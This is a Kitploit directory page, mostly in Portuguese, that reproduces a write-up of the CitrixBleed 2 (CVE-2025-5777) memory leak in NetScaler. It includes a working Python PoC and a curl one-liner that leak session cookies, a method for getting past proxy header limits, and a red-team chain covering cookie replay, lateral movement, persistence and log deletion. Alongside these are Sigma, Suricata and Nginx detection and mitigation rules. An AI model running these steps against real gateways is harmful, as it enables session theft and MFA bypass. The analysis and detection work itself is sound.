Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — 详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件 | Kitploit
Ferramentas/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationRed TeamingIncident Response

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Labs & Practice
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件

Ver Repositório
172há 1 anoAinda não revisado

CitrixBleed 2 (CVE-2025-5777) Análise Definitiva

Uma Leitura Fora dos Limites de Memória no NetScaler ADC / Gateway — Um guia completo desde a causa até o ataque e defesa


Uso do PoC: python3 poc.py https://gateway.example.com

Uso do exploit: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Índice

root@kitploit:~
0x00  Introdução / Visão Geral
0x01  Antecedentes: Arquitetura do NetScaler e Revisão do CitrixBleed 1
0x02  Descrição da Vulnerabilidade (Versões Afetadas, CVSS, Consequências)
0x03  Análise Profunda do Mecanismo de Disparo (Análise em Nível de Código & Capturas de Depuração)
0x04  PoC Mínimo + Script de Escaneamento Avançado
0x05  Perspectiva da Equipe Vermelha: Cadeia de Ataque Completa (Descoberta → Vazamento → Sequestro de Sessão → Movimentação Lateral)
0x06  Perspectiva da Equipe Azul: Detecção, Forense e Verificação de Patches
0x07  Reforço de Defesa: Patches, WAF, Configuração, Gestão de Ativos
0x08  Roteiro de Aprendizagem / Revisão e Experimentos Práticos
Apêndice A  Regras Sigma / Suricata / Nginx-Lua
Apêndice B  Linha do Tempo de Patches/Exploração & Instantâneos de IoC
Referências

0x00 Introdução / Visão Geral

  • CVE-2025-5777 (também conhecido como CitrixBleed 2) é uma Leitura Fora dos Limites de Memória no Citrix NetScaler ADC / Gateway.
  • O atacante não precisa de autenticação; basta enviar uma requisição GET com um cabeçalho Host excessivamente longo para fazer o dispositivo "cuspir" blocos de memória aleatória junto com a resposta HTTP para o cliente.
  • Os dados vazados frequentemente contêm materiais críticos como NSC_USER / NSC_TASS Cookie, SAML StateContext, token MFA, que podem ser reutilizados diretamente para realizar sequestro de sessão e bypass de MFA (arcticwolf.com, tenable.com).
  • Pontuação base CVSS v4: 9.3 (Crítica) (netscaler.com).
  • Divulgado em 2025-06-17, em 2025-06-23 a Citrix expandiu o escopo de impacto e lançou patches; dentro de uma semana, empresas de segurança como ReliaQuest e Bishop Fox observaram um aumento na exploração ativa (reliaquest.com, bishopfox.com).

0x01 Antecedentes

1.1 Breve Descrição do Fluxo de Trabalho do NetScaler

root@kitploit:~
┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

O NetScaler adota um design multiprocesso + IPC interno. O WebProc é responsável pela maioria das requisições HTTP nos caminhos AAA/Gateway, incluindo /nf/auth/*, /oauth/*, etc. Ele faz uso extensivo de snprintf() / memcpy() em linguagem C para montar fragmentos XML/HTML a cada vez.

1.2 Revisão do CitrixBleed 1 (CVE-2023-4966)

  • Em 2023, uma vulnerabilidade semelhante ocorreu na interface de descoberta OAuth /oauth/idp/.well-known/openid-configuration.
  • Sua essência era a mesma: usar o valor de retorno de snprintf como parâmetro len para o subsequente send() → eco de memória fora dos limites.
  • CitrixBleed 2 prova que o mesmo tipo de falha de codificação de segurança ainda está latente em outros caminhos.

Lição Aprendida: Se os patches de segurança visarem apenas o "ponto de impacto" em vez do "paradigma de programação", deixarão espaço para "reprodução padronizada".


0x02 Descrição da Vulnerabilidade


0x03 Análise Profunda do Mecanismo de Disparo

Esta seção é baseada em engenharia reversa do firmware 13.1-55.18 + depuração com gdb, compilada a partir de blogs públicos (bishopfox.com).

3.1 Ponto de Entrada da Vulnerabilidade

  • URI: /nf/auth/startwebview.do
  • Parâmetro Controlável: Cabeçalho HTTP Host
  • Esta interface é usada para gerar o XML de redirecionamento do Citrix Workspace WebView. Exemplo de resposta normal:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Cadeia de Funções Chave

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Ponto do Bug: snprintf retorna o "comprimento que deveria ter escrito" em vez do comprimento real escrito; se o Host fornecido pelo usuário for > 0x1800 - comprimento da parte constante, então length > sizeof(buf).

3.3 Ilustração em Tempo de Execução

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

GDB 断点演示(关键寄存器):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

read() mostra que os últimos 1600 bytes vêm de memória não inicializada, onde são visíveis buffers de Cookie de outras sessões SSL.

3.4 Categorias de Dados Vazados

CategoriaExemplo (Anonimizado)
Cookie de SessãoSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
Token MFA/OTPradius_state=0e2a9c6d1553...
Outros Corpos de Requisição<username>audituser</username><password>***</password>

0x04 Implementação do PoC

4.1 Python em Arquivo Único (15 linhas)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • Se a execução retornar 200 + vários KB, considera-se que há vulnerabilidade.
  • Além disso, pesquise por palavras-chave como Cookie=, <AuthenticateContext> em leak.bin.

4.2 Linha Única Bash / curl

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Contorno: Alguns dispositivos têm limitação de comprimento do Host em F5/Nginx intermediários; pode-se contornar usando concatenação de múltiplos subdomínios, como foo.foo.foo.…foo.example.com (repetindo foo 3000 vezes).


0x05 Perspectiva da Equipe Vermelha: Cadeia de Ataque Completa

Caso real: ReliaQuest observou em um gateway de cliente "grande quantidade de requisições com cabeçalho Host de 6 KB+ em curto período → seguidas por sessões roubadas" (reliaquest.com).


0x06 Perspectiva da Equipe Azul: Detecção, Forense e Verificação de Patches

6.1 Logs e IoCs

FonteManifestação
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144

6.2 Regra Sigma (Versão Resumida)

root@kitploit:~
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 Script de Verificação de Patch

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 Encerrar Sessões

root@kitploit:~
# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all

Nota: Após aplicar o patch, ainda é necessário forçar o logout para impedir que atacantes continuem usando cookies roubados.


0x07 Reforço de Defesa

  1. Patch Oficial: Atualizar para ≥ 14.1-43.56 / 13.1-58.32, ou aplicar a versão correspondente para modelos FIPS/NDcPP (netscaler.com).
  2. Limitação de Comprimento do Host Header (medida temporária)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. Regras Adaptativas WAF: Ativar limitação de taxa nos caminhos /nf/auth/ & /oauth/ (ex.: 20 req/min).
  2. Inventário de Ativos: Versões EOL 12.1/13.0 nunca mais receberão patches oficiais; planejar substituição ou isolamento rigoroso (support.citrix.com).
  3. Segurança MFA: Vazamento de sessão contorna MFA → recomenda-se ativar "assinatura por requisição" ou "vínculo dinâmico de impressão digital de hardware", em vez de verificar apenas no primeiro login.

0x08 Roteiro de Aprendizagem / Revisão


Apêndice A — Fragmentos de Detecção / Defesa

📜 Regra Sigma Completa
root@kitploit:~
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ Regra Suricata
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 Hotpatch Inline Nginx-Lua
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

Apêndice B — Linha do Tempo


Referências

  1. Comunicado oficial de segurança da Citrix e instruções de patch (netscaler.com)
  2. Arctic Wolf – "Briefing Técnico CVE-2025-5777" (arcticwolf.com)
  3. Bishop Fox – "OOB Memory Read in NetScaler" (bishopfox.com)
  4. ReliaQuest – "Threat Spotlight: CitrixBleed 2" (reliaquest.com)
  5. FAQ da Tenable sobre CVE-2025-5777 (tenable.com)
  6. Notícia de segurança do BleepingComputer (bleepingcomputer.com)
  7. Entrada NVD CVE-2025-5777 (nvd.nist.gov)
  8. KB Citrix Support CTX693420 (support.citrix.com)

Fim — Espero que este documento ajude você a entender e lidar com o CitrixBleed 2 de forma abrangente. Se precisar de mais exemplos, scripts ou orientações de exercícios, fique à vontade para solicitar!

Baixar ferramenta
CampoConteúdo
CVECVE-2025-5777
AliasCitrixBleed 2
Tipo de VulnerabilidadeLeitura Fora dos Limites / Vazamento de Informações
Base CVSS v49.3 (Crítica) (netscaler.com)
Versões Afetadas< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
Condições de ExploraçãoNetScaler configurado como Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) ou servidor virtual AAA (arcticwolf.com)
ConsequênciasVazamento de memória → Tokens de sessão → Bypass de autenticação / Bypass de MFA → Movimentação lateral
EtapaObjetivo & Técnica
① Descoberta de Ativoszoomeye search "http.title:\"NetScaler Gateway\"" + Shodan, etc.; filtrar set-cookie: NSC_
② Vazamento PoCScripts em lote com requisições paralelas; capturar NSC_USER= ; NSC_TASS=
③ Replay de CookieChrome DevTools→Application→Cookies→Adicionar entradas, recarregar /vpn/index.html
④ Recursos InternosAcessar storeweb/#home para obter arquivos RDP; baixar .ica para logar diretamente no VDI
⑤ Escalação de PrivilégiosPulverização de credenciais internas, Kerberoast, ADCS ESC1; ou explorar senhas fracas SMB na mesma rede
⑥ PersistênciaCriar Scheduled Task; registrar script de inicialização; ou modificar vDisk do NetScaler (altos privilégios requerem negligência de operação)
⑦ Limpeza de RastrosCookie descartável; excluir logs de auditoria (se tiver root do NS); ou usar race condition do logrotate para sobrescrever
HTTP_ACCESS.logRequisição a /nf/auth/startwebview.do com tempo de resposta muito curto mas tamanho de resposta anormal (> 2 KB)
EDR/PCAPSet-Cookie: NSC_USER= aparece em respostas de requisições não relacionadas a login
FaseMateriais & Ações Sugeridas
TeoriaLer os boletins de segurança da Citrix, FAQ da Arctic Wolf / Tenable, análise técnica da Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com)
LaboratórioImplantar a versão vulnerável 13.1-55.18 (ESXi / KVM), executar o PoC mínimo, capturar pacotes com Wireshark → observar os pacotes de resposta TCP PSH
CodificaçãoModificar o PoC: adicionar replay automático de cookies, varredura em lote ZTLS, fila multithread
Equipe AzulPesquisar comprimento anormal de Host em janelas de duas horas; usar Sigma → Elastic/Graylog; reproduzir e validar estratégias WAF
CompartilhamentoEscrever blog ou criar mapa mental, resumindo "armadilhas comuns no uso de snprintf"
Data (2025)Evento
06-17Citrix publica comunicado inicial do CVE-2025-5777 (netscaler.com)
06-18Bishop Fox publica análise técnica & PoC (bishopfox.com)
06-23Citrix atualiza escopo de impacto + versões de patch; CISA adiciona ao KEV
06-25ReliaQuest relata exploração ativa, grupos de ameaça roubando sessões em massa (reliaquest.com)
06-27BleepingComputer reporta "possivelmente explorado em larga escala" (bleepingcomputer.com)
06-28Vários PoCs no GitHub; Tenable publica FAQ (tenable.com)